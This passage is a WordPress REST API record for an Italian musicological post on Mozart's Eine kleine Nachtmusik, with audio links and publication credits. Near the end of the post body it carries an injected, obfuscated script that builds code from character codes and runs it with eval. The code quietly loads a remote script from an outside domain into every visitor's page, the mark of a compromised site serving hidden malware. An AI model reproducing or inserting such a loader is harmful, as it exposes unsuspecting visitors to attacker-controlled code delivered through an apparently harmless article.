fUeGmxCFoAeQ1+dp2UuYGd8nTSTIGgXbz3VxVS7W9gTuZT+56x8\/UMsxjtc2cDO+Xp5CTz0Cwig9bxlV+L2L8O5Ffo7D5x6Tx2dWlnuy7b0uru85PdXY4+TuujvKrw9+tV7hZgOXpynkGOnccuLdtgHeVZWt19\/tHTg7bQrcLDDR09qTa2e+ex60oyVYUMS6u7z2+EBa37i++LvNesdZ\/wcHOnT4aNreg8dl0ZpioSvrS6+\/zeU4K2+n3Ck02fPuEbW9R57LrCp6oTPtii+\/yr5kHb5j7hsVZOn9iNres8fF2BV5cKXFrdfW6RN2gX59jsPuGx6h5Aus7D1xV4danApdXd5xYxQWt\/5fQc29whPFnd00faefjSAq++6H7aUUuT7pYMtrZon8v6HNvcITxZ3QNI2nn40gKvPsc486ilSXdLBo8L2tMLJioD29Q9faSdx64ufLZDSmwb6W7JIGPQuozya4VCNwmPVff0kXYeu8AM47UotHOkuyWDdEHrNc3Xu64q1LpPeKa6R4+089hl5hnyjYn5B+6fKn1Oaxu0p4L2rwN51D19pJ3HrjTVnD8aHX74FirR5IpcQasY61WFojcMj\/Lz70dUyh090s5j15tw2n9ZZp5tI0l3SwaJglY03KsKpW8bHuLvFq117kg7j1145rEflYP2pv+Qrhx9WR4AAJh2bP5Ee1x8jvzapfsVb74OTHPfVHW3qLTz2LFkvikuqWC8im\/bjtUSImgBNxxALwRtiMWIJWhF4oNWmrIfr\/j+9fa3GXtwAL0QtCFWUvYgaGWCg9Z4+x2veHXp9QsBHEAvBG2I6Yh9vd1+Fd+2HaslFBa0oztg\/Yp\/\/1N0LTwcB9ALQRtlOmUPglYmYHnTm0B6OZdr4eE4gF6knceOJf9NmT7xCFqRvEG781rtbzP24AB6IWjDTRx0BK1IzLeON8SePWI3B23s1Z9p28ybHUArc5N2Hj6WwKtLGZfWbJ9vEPM3Q22IvZ3X8upnTyfPsX\/m7jVDdoXL3KSdxz4sjR9V49J67POdgj\/J6c6+nddy6WRbP08QNXNFQcdqlst5zU3aeeyT0vg5NS6t+j7fL9HnOd+b97W++16x97BnAs8UO3P3O7htP7jPTdp57GPS+CE1Lq3uPo+S6yOd7qJXL3C84n0DIUN4mvCZu9\/BPftBMTdp57GPSeOH1Li0ovs8kHx5+w+713X\/NnDVmO9FT8XdDy\/cyDBz9zu4YT+I5ibtPPYxafyQGpdWcZ\/HyvKRTt2G\/eteV1QcXriSZObud1C9H3Rzk3auHkvmq0sZl1Zun4dLEbS6Hg6C9hmSzNz9Dqr3g25u0s7VY8l8dSnj0srt83DnHw4CAABeDtEn2qEO1K4uJGpg\/ZZgVJ6ZKwo6VnsvrpubunNd8eRXlzIurdY+zyAyadwvfdOP\/evr1xKdXLiSZ+buNaW7Qjo3dee64smvLmVcWq19nkFM0hzb\/4Cg\/evr1xKdXLiSZ+buZaUbQzo3dee64smvLmW\/uYX2eQbCP7p6\/5SKTrqrrjZc6Jg9ufb01liembsXl24P6dzUneuKJ7+6lHFptfZ5Bs4\/b2l\/SqXnXciFjn\/bRXRy4crQwKUzd6+\/oVvR3NSd64onv7qUcWm19nkGPsube0r7Dffn\/z+vOx5buPFj\/vXNhk4KHUDSuW3oPErjh9e4tFr7PINNQXv1Lper53FaUchZ\/0B\/pxo781oHkHRuBG1FBK2Iw\/LmUvYQ3K1w4cupG+0rnedZY60DiOIVry6VNmjrnmy\/VnudTtnj2UHrvk1XbkQgl87zrM591NKlUbzi1aWMS9u2z+uebCfaoLW8fbGBVOzL8doilo2Yc0c6dp5nae5zli6N4hWvLmVc2oZ9Xvdk+2j1t2EWF19iRnZDy1lc+9BGTLUj3TtPsq6DoG1RPPnVpezntm6f1z3ZbqjOenuFlQayGVrOyv6Y24sZpq3oPMO6frkPWbo0ile8upRxabp9Xvdkuzffn8uaS8zIbnQtc2uf3ovhoxZ1Hr6uF\/chS5dG8YpXlzIuTbTPRedDBv5BO1FkuodsNix\/ZS\/GjlrXeZ4t5D5k6dIoXvHqUsalKfa57nzIwP9blxOl3gvOdRVuevlDry+6HXWd59kw7kOWLo3iFa8uZVyaYp\/rzocMVn8LGgAAXDnmPtHelFt5+32jJUy0qh5dkjFKO8+zQ9znLF0axZ\/D+JQZB6vY57rzIYOtQdt\/msqgrTs9ded59ob7qKVLo\/gTKA4KxT7XnQ8ZuAXt3LuazXSuQ+O76s5N3Xn4Al\/cpy1dGsV7kz5x7vtc120Gm4J2eo61JjvXnnFddcel7jzJMg+CtkXxHuYeOuNgFftcdz5kMPmtzqE1T9\/yciOe6824qJ\/xP2o20YyCuvNUK\/VtRro0inc19KxNPHqKfa47HzKQB61lZO9Fik55rjfjol6vKbcR1Z3nWa\/78KVLo3hLlqds8QEU7XPR+ZBBWNC+v8b+3rTjnmjMvqKPQ6s4FvfO8yzc\/S5Il0bxlm6OTQv7JXx7vu\/f8VohHIJ26MVXr7+pU2juE43ZVxS+6pXHUt2YtL6d9AByR\/F+Pj6kQ+xX8W3bsVpCu4P2\/pXGIu632ctEV\/blRC15\/eFUd55nM9Q6gCjej+VpXXmW\/17Ft23HagltDdqvr7RfNOeNmejKvpz9S\/Z6PtWd59kMtQ4givcz9My+P8LGwdba5xnUCNrR60YZ7WpoLTuXPP2ghnSeZzPUOoAo3s\/ck\/uap\/0sKrTPM9gXtJbKXteNMtrV0Fq2LXnxWd3feZ7NUOsAong\/i4+t\/SwqtM8zIGg9DXU1upY9S554UL+uQt15ns1Q6wCieEsrz6z9LCq0zzOYWZ7xeD3Gg9ZeLeeNGepqdCEbljz0iH59aLd1nmcz1DqAKN7V9NNqHGytfZ4BQevJ3tXEQjYs2fJ8jj66GzrPsxlqHUAU723oIX29xV7Zo8ex69b1v+UtHrIAAODkmPtE+57Kllcay7pcNIqlq+klqJe8vpkCO5fWt3PfmdKlURwn9oO60D7PYF\/Q2kNo\/aJR7KOY6F99cq0I7HxDfbtaBxDFcWIcbK19nsH88obOWfegHW53C2Pzc\/2nDdrYzjfUt6t1AFEcJwStyNLy3LP25jXrQbWBsfk2QZuh8w317WodQBTHCUErsilo\/77+62tcrhXiY28uKXtV3MtvcUXKHgTtWkHHahTHPYJWZHV5Eyfv\/Yu\/ZtVko1uc2lvMp\/vivl7FfSP2VFwkz66odQBRHCcErYjD8nxT8GOdckHrFVEfiyvU\/SXChvp2tQ4giuOEoBXxWZ5jEL4XqZKyx7ePg+vFXZpsVnxDfbtaBxDFcULQirgtz\/Fz298KhVL2uA1al+LrRfoV31DfrtYBRHGcELQizsvzytpTtSq3QZeyR+WTi6BdKehYjeK4R9CK+C9vPWAUKbUHQbu\/+Ib6drUOIIrjhKAVUS1vJWaKpuzh\/TNE78W9SnUqvqG+Xa0DiOI4IWhF5CegPXLqfpB90aXsUfnkImhXCjpWozjuEbQim5b38aPezee\/onMnaPcX31DfjpveoPiTEbQikcu7uVtFP9TqUvaofHIRtCsFHatRHPcIWpHPf5AGAACsO2I\/0d549VfLabjuxd1rNii+oX6g3UdCHdF3phjjSKMGe3XdNjshaZeFJviX9PZLB1K3+Ib6gezB8zTRd6aMEoN9v27+nofkbbHE+E6kN146kLrFN9QPNHpKPkf0nSmg0GD\/XrdQ23Z5+ysxvhPpXZdOo27xDfUDzR06TxB9Z7KrNdjXdWu1bZe3vxLjO5H2LJ1G3eIb6geaPnfai74zqZUb7M+\/3yGu1bZdor+w4uN7RY2JSHuWTqNu8Q31A60cPb1F35m8Kg62\/X4QpsLiREqM70Tas3QadYtvqB9o\/QBqKfq2pFZxtu23hOp3E12Gkn98O0mnUbf4hvpAFUXjqmjbdpI\/heI1mhIT3EY6jbrFN9QHqiiaWEXbtssetCWGuId0FHWLb6gPVFE0roq2bef\/9\/E6DqjQHDeQjqJu8Q31gSqKxlXRtu0I2jKko6hbfEN9oIqiWVW0bbvsQevbXmnSadQtvqE+UEjFuBrqOU\/bdgRtGdJp1C2+oT5QS7ms+jH\/hRXRnU7KG7Slx6pQNwsJWmC\/QkH1t7FCbdsRtGXUzUKCFsCN9o9w0j\/eQ8q+q5uFBC2AG+0f4YxBawzjp6mbhQQtgBvtH+GYoLVUcG+surpZSNACuNH+Ed79dx0b36joqrq6WUjQArjR\/hHe96\/32N8iaqm6ullI0AK40f4R1h6vfJB1VDcLCVoAN9o\/wvLlff8NWyLWpm4WErQAbrR\/hDctj3xdZ\/wlyzNF3xwA89o\/ws2X10l0lqUWfXMAzGv\/CDdfXifRWZZa9M0BMK\/9I9x8eZ1EZ1lq0TcHwLz2j3Dz5XUSnWWpRd8cAPPaP8LNl9dJdJalFn1zAMxr\/wg3X14n0VmWWvTNATCv\/SPcfHmdRGdZXtF3BsCS9k9x8+UBAJIjaAEAECJoAQAQImgBABAiaAEAECJoAQAQImgBABAiaAEAECJoAQAQImgBABAiaAEAECJoAQAQImgBABAiaAEAECJoAQAQImgBABAiaAEAECJoAQAQImgBABAiaAEAECJoAQDAPIIWAAAhghYAACGCFgAAIYIWAAAhghYAACGCFgAAIYIWAAAhghYAACGCFgAAIYIWAAAhghYAACGCFgAAIYIWAAAhghYAACGCFgAAof8AjT+doUFG8A4AAAAASUVORK5CYII=\" alt=\"\" width=\"193\" height=\"75\" \/><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-Coda-completa.mp3\">EkN Coda (completa)<\/a><\/p>\n<p style=\"text-align: center;\" align=\"right\"><strong>\u00a0Wolfgang Amadeus Mozart (1756 &#8211; 1791): Eine kleine Nachtmusik K 525, 1\u00b0 movimento (Allegro)<\/strong>\u00a0 <a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EKN-1\u00b0-movimento-Allegro.mp3\">EKN 1\u00b0 movimento (Allegro)<\/a><\/p>\n<p align=\"right\">Carlo Deri, 2004<\/p>\n<p>\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014<\/p>\n<address><i>Il testo della presente analisi \u2013 qui riportato con il gentile permesso dell\u2019Editore \u2013 \u00e8 stato pubblicato in<\/i><\/address>\n<address>Renzo Cresti: Ipertesto di Storia della Musica, Edizioni Feeria, San Leolino, Panzano in Chianti, 2004 <i>e in<\/i><\/address>\n<address>Renzo Cresti: La Vita della Musica, Edizioni Feeria, San Leolino, Panzano in Chianti, 2008<\/address>\n<address>\u00a0<\/address>\n<address><a href=\"http:\/\/www.renzocresti.com\/dettagli.php?quale=9&amp;quale_dettaglio=42\">http:\/\/www.renzocresti.com\/dettagli.php?quale=9&amp;quale_dettaglio=42<\/a><\/address>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Il Classicismo interess\u00f2 la produzione musicale europea della seconda met\u00e0 del Settecento fino ad arrivare al primo Ottocento ed ebbe la sua capitale a Vienna. \u00c8\u00a0di questo periodo la conquista [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-83","post","type-post","status-publish","format-standard","hentry","category-studi-e-analisi","has_no_thumb"],"_links":{"self":[{"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/posts\/83","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=83"}],"version-history":[{"count":39,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/posts\/83\/revisions"}],"predecessor-version":[{"id":947,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/posts\/83\/revisions\/947"}],"wp:attachment":[{"href":"https:\/\/www.carloderi.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=83"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=83"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=83"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}